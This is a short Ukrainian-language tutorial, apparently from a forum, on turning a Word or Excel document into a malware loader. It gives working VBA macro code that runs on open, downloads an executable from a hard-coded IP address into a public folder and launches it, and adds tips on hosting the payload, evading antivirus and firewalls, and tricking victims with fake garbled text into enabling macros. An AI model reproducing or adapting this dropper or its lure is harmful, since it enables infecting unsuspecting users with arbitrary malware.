Робимо лаудер з ворд документа

287

Робимо лаудер з ворд документа, скажу відразу закінчити не зміг до кінця, і так ось відео, щоб ви зрозуміли про що мова

І так встановлюємо ворд, у мене стоїть 2010, створюємо документ ворд або ексель відкриваємо і йдемо в розробник далі
створюємо макрос Auto_Open далі натискаємо Alt + F11 і пишемо наступний код:

Private Declare Function URLDownloadToFile Lib “urlmon” Alias “URLDownloadToFileA” (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub Auto_Open()
Dim ret As Long
Dim HTTPfile As String, LocalFile As String
HTTPfile = “http://195.242.218.159/paload.exe”
LocalFile = “C:\Users\Public\miton.exe”
ret = URLDownloadToFile(0, HTTPfile, LocalFile, 0, 0)
Dim CurDirBackup As String
Shell “C:\Users\Public\miton.exe”, vbNormalFocus
End Sub

Тут я думаю все зрозуміло але є пару нюансів потрібно класти фаил на дід з піднятим хостингом або ftp ну або самі дивіться пробуйте у мене чомусь з хостингу качати не хотів і другий нюанс як ви могли помітити фаил гойдається в публічну папку а такаой папки в xp можна даписать код а так на виндовс7 робіт норм + фуд і фаерфол не блочит
Мінус в тому що при відкриття документа якщо не включені макроси запитує включити немає але можна зделать типу така ??????????????????????????? ????????? ??????
??????? ?????????? ??????????????? ????????? і ос в 90% випадків натисне думаючи що це проблеми з кадировкой .